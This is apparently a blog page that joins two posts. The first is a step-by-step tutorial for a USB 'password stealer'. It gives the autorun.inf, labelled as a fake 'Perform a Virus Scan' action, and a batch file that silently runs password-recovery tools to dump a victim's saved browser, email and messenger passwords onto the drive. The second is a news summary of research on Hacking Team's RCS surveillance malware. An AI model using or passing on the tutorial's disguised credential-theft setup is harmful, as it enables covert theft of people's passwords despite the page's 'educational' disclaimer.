Creating a USB Password Stealer #Pentesting #USB #Passwords #Infosec #Security

One of the most dangerous things we all do on a regular basis, for obvious reasons, is saving our passwords in our browsers. We don't really think about the dangers in it, we see the convenience in not having to input (in my case) 10 characters after already typing our username or email every time we want to do something as simple as log in to Facebook. Well this tutorial can show you how dangerous it really is just storing your passwords for easy access to your accounts.

I want everyone to keep in mind, this tutorial is strictly for educational purposes, & any attempts to use these tactics for stealing information without permission is solely on you. Don't go tattling on me.

What you'll need:

A USB Drive, preferably 2GB+

A Windows computer

MessenPass: Used for recovering passwords from various instant messenger applications.

Mail PassView: Used to fetch passwords from popular email clients such as Outlook or Thunderbird.

IE PassView: Used to gather passwords stored by Internet Explorer (for those who just can't accept change..)

Protected Storage PassView: This program retrieves passwords from Windows 'protected storage'. This is one of the most useful.

PasswordFox: Used to fetch passwords & sensitive information from Firefox.

Now, there are many others that you can add to this USB Password Fetcher, & if you know of any that you feel should be added to this article, don't hesitate to comment.

Preparing the drive

Before anything else, we want to get all the applications ready to go & installed on the USB drive. You'll ONLY need the executable (*.exe) files to be on the USB drive. Download the 5 tools & extract the executables to the drive. With the next step, we'll write a simple Autorun.inf file that will tell the victim's computer to run these applications.

Making the drive run automatically

What is an autorun.inf?

An autorun.inf file is a text file that can be used by the AutoRun and AutoPlay components of Microsoft Windows operating systems. For the file to be discovered and used by these component, it must be located in the root directory of a volume. As Windows has acase-insensitive view of filenames, the autorun.inf file can be stored as AutoRun.inf or Autorun.INF or any other case combination.

The AutoRun component was introduced in Windows 95 as a way of reducing support costs. AutoRun enabled application CD-ROMs to automatically launch a program which could then guide the user through the installation process. By placing settings in anautorun.inf file, manufacturers could decide what actions were taken when their CD-ROM was inserted. The simplest autorun.inf files have just two settings: one specifying an icon to represent the CD in Windows Explorer (or "My Computer") and one specifying which application to run.

This file will tell the victim's computer to run the various tasks we want the USB drive to perform.

Writing the Autorun.inf

Open Notepad & paste the following code in the document:

[autorun]

open=launch.bat

ACTION= Perform a Virus Scan

Now go to File & click Save As..

Save the file as: autorun.inf on the USB Drive's root.

Be sure to change the Save As Type to All Files, otherwise you'll just be saving this as a text file.

This alone won't do what we need it to, but as you can see its launching a batch(*.bat) file that we'll write next that will perform the password fetching process. The reason we do this is because we can perform more advanced tasks with a batch file than we can with an autorun.inf.

The ACTION= will display to the end user what the USB Drive's function is. We both know that its not performing a virus scan, but we wouldn't be very stealthy if it just read STEALING YOUR PASSWORD. U MAD BRO? so we're going to disguise this as a healthy computing task.

Writing the batch file

Open up Notepad again, & paste the following:

start mspass.exe /stext mspass.txt

start mailpv.exe /stext mailpv.txt

start iepv.exe /stext iepv.txt

start pspv.exe /stext pspv.txt

start passwordfox.exe /stext passwordfox.txt

Aside from launching the various applications, we're actually asking the computer to log everything in an individual text (*.txt) file. Now if you really want to, you could ask the computer to create one universal log file, but I wouldn't recommend this. Its much easier to decipher this way.

Go to File, & Save As.. and save this file as launch.bat on the USB drive's root. Be sure to change the Save As Type to All Files, otherwise you'll just be saving this as a text file.

Now everything should be ready for testing!

Testing the USB Password Fetcher

Now keep in mind, in some cases, Autorun could be completely disabled, in which this tactic will not work, but let's get started with our first test.

Pop the USB Drive in any available USB port on the victim machine, & an autorun prompt will pop-up. The first option should say Perform A Virus Scan. Perform your "virus scan" & silently, your password fetcher is throwing all the information into various text files on your USB Drive. This process is relatively quick, so don't fret if you blinked & missed it.

Enjoy those passwords

Pull your drive from the victim computer & plug it into your personal computer. This time, to view the passwords, choose Open folder to view files from the autorun menu, & check your text files.

Researchers Uncover Spying Tool Used by Governments to Hijack all Types of Smartphones #Hacking #Privacy #Spying #Hijacking #Surveillance

Purchasing malware to victimize people is illegal by laws but if the same thing any government official do, then its not!! Yes, the police forces around the World are following the footsteps of U.S. National Security Agency (NSA) and FBI.

Researchers from the Citizen Lab at the Munk School of Global Affairs at the University of Toronto and computer security firm Kaspersky Lab have unearthed a broad network of controversial spyware which is specially designed to give law enforcement agencies complete access to a suspect's phone for the purpose of surveillance.

MALWARE FOR DESKTOPS AND ALL MOBILE DEVICES

The malware, dubbed as Remote Control System (RCS), also known as Da Vinci and Galileo, is developed by an Italian company known as Hacking Team, available for desktop computers, laptops, and mobile devices. The latest version of the malware works for all phone including Android, iOS, Windows Mobile, Symbian and BlackBerry devices, but best on Android devices, and can also be installed on jailbroken iOS devices. But even if the targeted iOS device is not jailbroken, the malware uses the famous Evasi0n jailbreaking tool to install the malware easily.

The team of researchers from both Citizen Lab and Kaspersky Lab in collaboration has presented their findings during an event in London. According to the report published, the diameter of the command infrastructure supporting Hacking Team, which sells the RCS to governments and law enforcement, is very vast with 326 command-and-control (C&C) servers running in more than 40 countries.

MALWARE DEVELOPERS - ‘HACKING TEAM’

Hacking Team is a Milan-based IT company with more than 50 employees that has made a totally different place for itself selling "offensive" intrusion and surveillance software to governments and law enforcement agencies in "several dozen countries" on "six continents."

“It was a well-known fact for quite some time that the HackingTeam products included malware for mobile phones. However, these were rarely seen,” said Kaspersky Lab experts on the blog post. “In particular, the Android and iOS Trojans have never been identified before and represented one of the remaining blank spots in the story.”
WORLD WIDE WEB OF COMMAND-N-CONTROL SERVERS

Kaspersky Lab researchers have used a fingerprinting method to scan the entire IPv4 space and to identify the IP addresses of RCS Command & Control servers around the world and found the biggest host in United States with 64 counts of C&C servers. Next on the list was Kazakhstan with 49, Ecuador has 35, UK which hosts 32 control systems and many other countries with a grand total of 326 Command & Control servers.

"The presence of these servers in a given country doesn't mean to say they are used by that particular country's law enforcement agencies," said Sergey Golovanov, principal security researcher at Kaspersky Lab. "However, it makes sense for the users of RCS to deploy C&Cs in locations they control – where there are minimal risks of cross-border legal issues or server seizures."

RCS can be physically implanted on the victim’s device through a USB or SD card, and remotely it can be installed through spear phishing, exploit kits, drive-by downloads or network traffic injection.

Once installed on Apple iOS and Android device, the new module enable governments and law enforcement officers with larger capabilities to monitor victim devices, including the ability to:

• control phone network
• steal data from their device
• record voice E-mail
• intercept SMS and MMS messages
• obtain call history
• report on their location
• use the device’s microphone in real time
• intercept voice and SMS messages sent via applications such as Skype, WhatsApp, Viber, and much more.

"Secretly activating the microphone and taking regular camera shots provides constant surveillance of the target—which is much more powerful than traditional cloak and dagger operations," Golovanov wrote.

While, the Android module is protected by an optimizer for Android called DexGuard that made the it extremely difficult to analyze. However, most of the iOS capabilities mentioned above are also available for Android, along with the support for hijacking applications such Facebook, Google Talk, Tencent of China and many more.

The mobile modules for each are custom-built for each target, researchers said. From previous disclosures we have seen that RCS is currently being used to spy on political dissidents, journalists, human rights advocates, and opposing political figures.

Credited to: Hacker News Website